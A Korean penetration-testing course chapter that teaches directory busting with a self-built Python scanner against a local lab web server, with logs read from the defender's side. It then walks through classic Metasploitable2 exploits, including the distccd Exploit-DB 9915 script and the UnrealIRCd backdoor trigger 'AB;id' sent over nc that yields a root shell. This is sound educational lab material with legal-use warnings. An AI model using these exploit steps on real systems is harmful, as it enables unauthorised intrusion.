Step 121. 수동 익스플로잇 2: 레퍼토리 확장 — 서비스마다 열리는 문이 다르다
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 4시간
전제: Step 120을 마쳤다. 프레임워크 없이 취약점을 수동 발동시킬 수 있고, "입력 → 서버 내부 → 결과" 3단 정리를 안다.
- 준비물: Kali와 MS2 (또는 Kali 한 대 + 파이썬 3), 터미널 2개
- 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
Step 120에서 공격 하나를 맨손으로 재현했습니다. 오늘은 레퍼토리를 늘립니다. 취약점 박물관인 MS2에는 서비스마다 "고전"이 있습니다 — distcc는 인증 없는 명령 실행, UnrealIRCd는 백도어, Samba는 사용자명 주입. 이 고전들은 CTF에서도 실전에서도 빠른 첫 승부를 만듭니다. 그리고 서비스 공격과 결이 다른 수법 하나 — 웹의 숨겨진 경로 탐색을 직접 서버를 만들어 실측합니다. 마지막에는 "왜 어떤 쉘은 root이고 어떤 쉘은 daemon인가"를 권한 비교표로 정리합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 숨겨진 경로 탐색(디렉터리 버스팅)의 원리를 직접 만든 서버로 실증한다
- 탐색 행위가 서버 로그에 어떻게 남는지 읽는다
- distcc, UnrealIRCd, Samba의 고전 취약점 유형을 3단 정리로 말한다
- 얻은 쉘의 권한이 서비스 실행 계정에 의해 결정됨을 비교표로 정리한다
- "발판 확보 후 권한 상승"이라는 실전 순서를 설명한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | Kali 쉘 + 파이썬 3 (urllib, http.server — 설치 불필요) |
| 오늘의 명령 | python3 -m http.server, searchsploit, nc, 직접 만드는 탐색 스크립트 |
| 필요한 개념 | 디렉터리 버스팅, HTTP 상태 코드(200/301/404), 서비스별 고전 취약점 |
| 오늘의 산출물 | 공략 기록표 (서비스 | 취약점 | 사용 코드 | 획득 권한) |
2-1. 디렉터리 버스팅 — 주소창을 추측하는 공격
웹서버에는 링크가 걸리지 않은 경로가 종종 있습니다. /admin, /backup, /test 같은 것들이지요. 링크가 없다는 것은 "찾기 어렵다"일 뿐 "없다"가 아닙니다 — 주소를 추측해 요청해 보면 서버는 성의 있게 대답합니다. 있으면 200, 없으면 404. 이 대답의 차이로 숨은 경로를 찾아내는 것이 디렉터리 버스팅(directory busting)입니다. gobuster, dirb 같은 전용 도구가 있지만, 원리는 "사전의 단어를 하나씩 붙여 요청하고 상태 코드를 보는 것" — 오늘 우리가 직접 만들 겁니다.
2-2. 상태 코드 읽기 — 200, 301, 404
탐색의 판독 기준은 상태 코드입니다. 200은 "있다", 404는 "없다". 301은 "주소가 이사 갔다"인데, 웹서버는 /admin 요청을 /admin/으로 안내하며 301을 냅니다 — 즉 301도 사실상 "있다"는 신호입니다. 파이썬 urllib는 이 이사 안내를 자동으로 따라가므로, 우리 스크립트는 최종 도착지의 코드를 보게 됩니다 (3-2에서 실측합니다).
2-3. 서비스별 고전 — 취약점 박물관의 소장품
MS2의 유명 서비스 세 개를 정리합니다. 상세 실습은 여러분의 랩에서 하고(출력은 예시로 표기), 원리는 Step 120의 3단 정리에 얹으세요.
- distccd (3632번): 분산 컴파일 데몬. 컴파일 요청을 검증하지 않아, 요청 안에 셸 명령을 심으면 실행됩니다 — Step 120의 모사 서버가 바로 이 원리입니다. 얻는 권한은 대개
daemon. - UnrealIRCd (6667번): IRC 서버. 유출된 버전 3.2.8.1에 백도어가 심어져, 특정 문자열로 시작하는 메시지를내면 명령이 실행됩니다. vsftpd 백도어와 같은 "트리거" 구조입니다.
- Samba "username map script" (139/445번): 사용자명을 매핑하는 설정이 명령 실행과 얽혀, 사용자명에 셸 명령을 심는 공격이 성립합니다. 데이터가 명령이 되는 명령 인젝션의 변종입니다.
2-4. 권한의 비대칭 — 왜 어떤 쉘은 root이고 어떤 쉘은 daemon인가
서비스는 각자 어떤 계정으로 실행됩니다. vsftpd 백도어는 뿌리 권한의 쉘을 열었지만, distcc로 얻는 쉘은 대개 제한된 계정(daemon)입니다. 취약점의 종류가 아니라 서비스를 실행한 계정이 권한을 결정합니다. 그래서 실전의 순서는 "일단 발판 확보 → 이후 권한 상승"입니다. daemon 쉘도 실패가 아니라 첫발입니다.
3. 따라 하기
3-1. 모사 대상 만들기 — 숨겨진 경로를 가진 웹서버
먼저 "공격당할" 웹서버를 만듭니다. 겉으로는 평범한 홈페이지인데, 링크 없는 경로들이 숨어 있습니다.
입력
mkdir -p /tmp/websrv2/admin /tmp/websrv2/backup
cd /tmp/websrv2
echo "<h1>회사 홈페이지(랩)</h1>" > index.html
echo "관리자 페이지 — 개발 중" > admin/index.html
echo "DB 백업 비밀번호: summer2024!" > backup/notes.txt
echo "flag{디렉터리_탐색_성공}" > secret.txt
python3 -m http.server 8081 --bind 127.0.0.1 > /tmp/websrv2.log 2>&1 &
읽는 법: 홈페이지(index.html)에는 /admin, /backup, secret.txt로 가는 링크가 없습니다. 하지만 파일은 존재합니다. "숨김(security by obscurity)"이 얼마나 약한 방어인지 곧 확인합니다. 로그는 /tmp/websrv2.log에 남깁니다 — 3-3에서 범행 현장을 봅니다.
3-2. 탐색 스크립트 — 사전을 하나씩 대입한다
입력 (dirbust.py)
import urllib.request, urllib.error, time
HOST = "http://127.0.0.1:8081"
WORDS = ["admin", "login", "backup", "test", "secret.txt",
"config", "uploads", "robots.txt", "index.html"]
found = []
start = time.time()
for w in WORDS:
url = f"{HOST}/{w}"
try:
code = urllib.request.urlopen(url, timeout=2).status
except urllib.error.HTTPError as e:
code = e.code
if code == 200:
found.append((w, code))
print(f"[200] {url}")
print(f"시도 {len(WORDS)}개, 발견 {len(found)}개, {time.time()-start:.2f}초")
출력 (2026-09-09 실측):
[200] http://127.0.0.1:8081/admin
[200] http://127.0.0.1:8081/backup
[200] http://127.0.0.1:8081/secret.txt
[200] http://127.0.0.1:8081/index.html
시도 9개, 발견 4개, 0.03초
읽는 법: 아홉 단어 중 네 개가 살아 있었습니다. login, test, config, uploads, robots.txt는 404로 걸러졌고, 숨겨진 /admin, /backup, secret.txt가 전부 드러났습니다. secret.txt의 내용을 받아 오면(curl http://127.0.0.1:8081/secret.txt 또는 urllib로 본문 읽기) flag{디렉터리_탐색_성공}이 나옵니다. 링크가 없었을 뿐, 방어는 없었습니다.
왜: 핵심 부품은 두 개 — 추측할 단어 목록(사전)과 상태 코드 판독입니다. gobuster 같은 전문 도구도 이 뼈대에 수만 개의 사전과 병렬 처리를 얹은 것입니다. 사전의 품질이 탐색의 품질을 결정합니다.
3-3. 범행 현장 — 서버 로그에 남은 것
이제 관점을 바꿔 방어자가 되어 봅니다. 웹서버 로그를 열어 보세요.
입력
head -15 /tmp/websrv2.log
출력 (2026-09-09 실측):
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /admin HTTP/1.1" 301 -
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /admin/ HTTP/1.1" 200 -
127.0.0.1 - - [09/Sep/2026 15:12:04] code 404, message File not found
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /login HTTP/1.1" 404 -
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /backup HTTP/1.1" 301 -
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /backup/ HTTP/1.1" 200 -
127.0.0.1 - - [09/Sep/2026 15:12:04] code 404, message File not found
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /test HTTP/1.1" 404 -
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /secret.txt HTTP/1.1" 200 -
읽는 법: 모든 시도가 시간·경로·결과와 함께 기록됐습니다. /admin에는 301이 먼저 나가고 우리 스크립트가 /admin/으로 따라간 흔적(301 다음 줄의 200)도 보입니다. 방어자의 눈으로 보면 "한 주소에서 연속된 404"는 디렉터리 버스팅의 전형적인 발자국입니다. 공격이 성공해도 로그에는 다 남는다 — 이 사실은 이 Level 내내 따라다니는 법칙입니다.
왜: 공격 도구를 만드는 챕터에서 굳이 로그를 보는 이유입니다. 내 공격이 상대 화면에서 어떻게 보이는지 아는 것이, 탐지를 피하는 법이 아니라 탐지 규칙을 이해하는 길입니다.
3-4. 레퍼토리 확장 — MS2의 고전 셋 (랩 실습, 출력 예시)
여러분의 Kali↔MS2 랩에서 진행하세요. 아래 출력은 출력 예시입니다.
distccd (3632번): searchsploit distccd로 파이썬 익스플로잇을 찾아 실행합니다.
searchsploit distccd
python3 /usr/share/exploitdb/exploits/multiple/remote/9915.py MS2_IP
whoami
daemon
UnrealIRCd (6667번): 접속 후 백도어 트리거 문자열을 보냅니다 (searchsploit unreal ircd 참고).
nc MS2_IP 6667
AB;id
uid=0(root) gid=0(root)
Samba username map script (139/445번): 사용자명 자리에 쉘 명령을 심는 공격입니다. 개념을 확인한 뒤에는 검증을 Metasploit 모듈로 대조해 보세요 — 수동과 자동의 결과가 같음을 확인하는 연습입니다.
읽는 법: 셋의 결이 다릅니다. distcc는 "요청 데이터 속 명령 실행", UnrealIRCd는 "트리거 문자열", Samba는 "입력 필드 주입"입니다. 하지만 3단 정리로 적어 보면 셋 모두 "검증되지 않은 입력 → 서버에서 실행 → 결과 반환"이라는 같은 뼈대에 앉습니다.
3-5. 공략 기록표 — 권한을 비교한다
오늘부터 공격할 때마다 표를 남기세요. 침투 테스트 보고서의 원형입니다.
입력 (노트에 작성 — 예시)
서비스 | 취약점 | 사용 코드/수법 | 획득 권한
vsftpd 2.3.4 | 백도어 트리거(:)) | nc 수동 (Step 120) | root
distccd | 인증 없는 명령 실행 | Exploit-DB 9915 | daemon
UnrealIRCd | 백도어 트리거(AB;) | nc 수동 | root
웹서버 | 숨겨진 경로 | dirbust.py (자작) | (파일 열람)
읽는 법: 같은 랩인데 권한이 root와 daemon으로 갈립니다. 이유는 취약점의 종류가 아니라 서비스 실행 계정입니다 (2-4). daemon으로 끝난 공격은 "실패"가 아니라 권한 상승의 출발점입니다.
왜: 표를 쓰는 습관은 "다음에 뭘 할까"를 정하는 지도가 됩니다. daemon 쉘이라면 다음 행동은 권한 상승 정찰이고, 파일 열람이라면 그 안의 정보(비밀번호, 설정)가 다음 단서입니다.
4. 미션과 연습문제
미션 — 레퍼토리 3종 + 권한 비교표
- 3-1의 모사 웹서버와 3-2의 탐색 스크립트를 만들고,
secret.txt의 플래그를 획득한다 - 탐색 워드리스트에 단어 5개를 추가해(예:
phpmyadmin,.git,old,dev,api) 다시 실행하고 결과를 기록한다 - MS2에서 distccd와 UnrealIRCd 중 하나 이상을 공략하고
whoami결과를 기록한다 - 3-5 형식의 공략 기록표를 완성한다 — 서비스 3개 이상, 획득 권한 포함
- 서버 로그(/tmp/websrv2.log)에서 내 탐색의 발자국을 찾아 베껴 둔다
연습문제
문제 1. 디렉터리 버스팅에서 200, 301, 404가 각각 의미하는 것과, 301이 사실상 "있다"는 신호인 이유를 말해 보세요.
문제 2. 같은 취약 랩인데 vsftpd 공격은 root를, distcc 공격은 daemon을 주는 이유는 무엇인가요?
문제 3. "숨겨진 경로는 링크가 없으니 안전하다"는 주장의 오류를 오늘 실습으로 반박해 보세요.
문제 4. 방어자가 웹서버 로그에서 디렉터리 버스팅을 알아채는 단서는 무엇인가요?
5. 모범 답안과 완료 기준
미션 모범 답안
공략 기록표의 예 (권한은 랩 설정에 따라 다를 수 있습니다):
서비스 | 취약점 | 사용 코드/수법 | 획득 권한
웹서버(모사) | 숨겨진 경로 노출 | dirbust.py | 파일 열람(flag 획득)
distccd | 인증 없는 명령 실행 | searchsploit 결과 코드 | daemon
UnrealIRCd | 백도어 트리거 | nc로 트리거 전송 | root
워드리스트 확장 실험에서는 .git처럼 개발 산출물 경로가 실제 서비스에서 자주 털리는 경로임을 확인하면 좋습니다 — 소스 저장소 폴더가 통째로 웹에 노출되는 사고가 실제로 잦습니다.
검증하는 법: ① 플래그 flag{디렉터리_탐색_성공}를 실제로 읽었는가. ② 추가한 단어로 재실행한 기록이 있는가. ③ 표에 권한 열이 채워져 있는가. ④ 로그 발자국을 베껴 뒀는가.
연습문제 해답
문제 1 해답. 200은 "경로가 있다", 404는 "없다", 301은 "이사 안내"입니다. /admin 요청에 서버가 /admin/으로 301을 내는 것은 그 디렉터리가 실제로 있기 때문입니다 — 없는 경로에는 301이 아니라 404가 나갑니다. 그래서 301도 발견 신호로 취급합니다 (3-3 로그 실측 참고).
문제 2 해답. 취약점이 아니라 서비스 실행 계정이 권한을 결정하기 때문입니다. vsftpd 백도어는 뿌리 권한의 문을 열고, distccd는 daemon 계정으로 실행되므로 그 계정의 쉘이 나옵니다. 그래서 실전 순서는 "일단 발판 → 권한 상승"입니다.
문제 3 해답. 링크 부재는 "찾기 어려움"일 뿐 접근 제어가 아닙니다. 오늘 실습에서 단 아홉 개의 추측으로 숨겨진 세 경로가 전부 노출됐고 0.03초 걸렸습니다. 숨김에 의존하는 방어(security by obscurity)는 사전 크기와 시간의 문제로 환원됩니다.
문제 4 해답. 같은 출발지 주소에서 짧은 시간에 연속으로 발생하는 404 요청, 그리고 사전스러운 경로들(admin, backup, test…)의 패턴입니다. 정상 사용자는 존재하지 않는 경로를 초당 수 회 두드리지 않습니다.
완료 기준 체크리스트
- [ ] 모사 웹서버와 탐색 스크립트를 직접 만들어 플래그를 획득했다
- [ ] 상태 코드 200/301/404를 판독 기준으로 설명할 수 있다
- [ ] 탐색이 서버 로그에 남기는 흔적을 직접 확인했다
- [ ] MS2 서비스 1개 이상을 수동/반수동으로 공략했다
- [ ] 권한이 서비스 실행 계정에서 결정됨을 비교표로 정리했다
- [ ] "발판 확보 → 권한 상승"의 실전 순서를 말할 수 있다
6. 흔한 실수와 해결
벽 1. 쉘을 얻었는데 root가 아니다
증상: distcc 공략 후 whoami가 daemon입니다.
원인: 실패가 아닙니다. 서비스가 daemon으로 실행되므로 쉘도 daemon입니다 — 대부분의 실전 침투가 이렇게 시작합니다.
해결: "일단 발판 확보, 이후 권한 상승"이 정석입니다. daemon 쉘에서 할 수 있는 정찰(설정 파일 읽기, 로컬 취약점 조사)이 다음 수업의 재료입니다.
벽 2. 탐색 스크립트가 전부 404만 낸다
증상: 분명히 만들어 둔 경로인데 발견되지 않습니다.
원인: 서버가 꺼져 있거나, 포트가 다르거나, http.server를 다른 폴더에서 실행했을 수 있습니다. 이 서버는 실행한 폴더를 루트로 삼습니다.
해결: 먼저 브라우저나 curl로 http://127.0.0.1:8081/이 열리는지 확인하고, cd /tmp/websrv2 후 서버를 띄웠는지 점검하세요.
벽 3. 301이 나왔는데 발견으로 치지 않았다
증상: 존재하는 디렉터리인데 스크립트가 놓칩니다.
원인: urllib는 301을 자동으로 따라가지만, 직접 소켓으로 구현하면 301이 그대로 보입니다.
해결: 판정 조건을 code == 200에서 code in (200, 301, 302, 403)으로 넓혀 보세요. 403(금지)도 "경로는 있다"는 신호입니다.
벽 4. UnrealIRCd 트리거를 보냈는데 반응이 없다
증상: 6667번에 접속해 트리거를 보냈는데 조용합니다.
원인: 트리거 문자열의 앞부분(백도어 접두어)이 정확하지 않거나, 백도어 없는 버전일 수 있습니다.
해결: searchsploit unreal ircd로 코드를 열어 트리거 형식을 그대로 베끼세요. 공개 코드에서 발동 문자열을 읽는 습관은 Step 120의 연장선입니다.
벽 5. 탐색이 느리거나 서버가 버티지 못한다
증상: 워드리스트를 수천 개로 늘리니 오래 걸리거나 오류가 납니다.
원인: 순차 요청은 응답을 기다리는 시간이 누적됩니다 (Step 79의 스캐너와 같은 이치).
해결: 랩에서는 작은 사전으로 원리를 익히세요. 실전 도구(gobuster 등)는 병렬화와 타임아웃 관리를 해 줍니다 — 원리를 알았으니 이제 도구를 써도 눈으로 읽을 수 있습니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 디렉터리 버스팅 | 사전의 경로를 하나씩 요청해 상태 코드로 숨은 경로를 찾는 기법 |
| 200 / 301 / 404 | 있다 / 이사 안내(사실상 있다) / 없다 — 탐색의 판독 기준 |
| 서비스별 고전 취약점 | distcc(명령 실행), UnrealIRCd(트리거), Samba(사용자명 주입) |
| 서비스 실행 계정 | 얻는 쉘의 권한을 결정하는 요인 |
| 발판 확보 | daemon 같은 제한된 쉘도 권한 상승의 출발점 |
| 공략 기록표 | 서비스·취약점·수법·권한을 적는 보고서의 원형 |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
python3 -m http.server 8081 --bind 127.0.0.1 |
모사 웹서버 열기 |
python3 dirbust.py |
숨겨진 경로 탐색 |
searchsploit 키워드 |
서비스별 공개 익스플로잇 찾기 |
curl http://대상:포트/경로 |
발견한 경로의 내용 확인 |
whoami (얻은 쉘에서) |
획득 권한 확인 |
head /tmp/websrv2.log |
공격의 로그 발자국 확인 |
명령어보다 중요한 감각
레퍼토리는 암기가 아니라 패턴으로 쌓입니다. 오늘 본 공격들은 겉모습이 달라도 뼈대는 하나 — "검증되지 않은 입력이 서버에서 동작이 된다" — 였습니다. 새 서비스를 만나면 "이 서비스는 어떤 입력을 어떻게 처리하지?"라고 묻는 습관이 레퍼토리를 스스로 늘려 줍니다.
그리고 오늘 로그에서 확인했듯, 탐색과 공격은 상대방 기록에 선명하게 남습니다. 기술이 늘수록 "내 행위가 상대 화면에 어떻게 보이는가"를 함께 생각하는 것 — 그것이 랩의 취미와 직업 윤리를 가르는 경계선입니다. 오늘의 모든 수법은 여러분이 소유한 랩과 합법 플랫폼에서만 완성됩니다.
전부 체크되면 Step 121 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.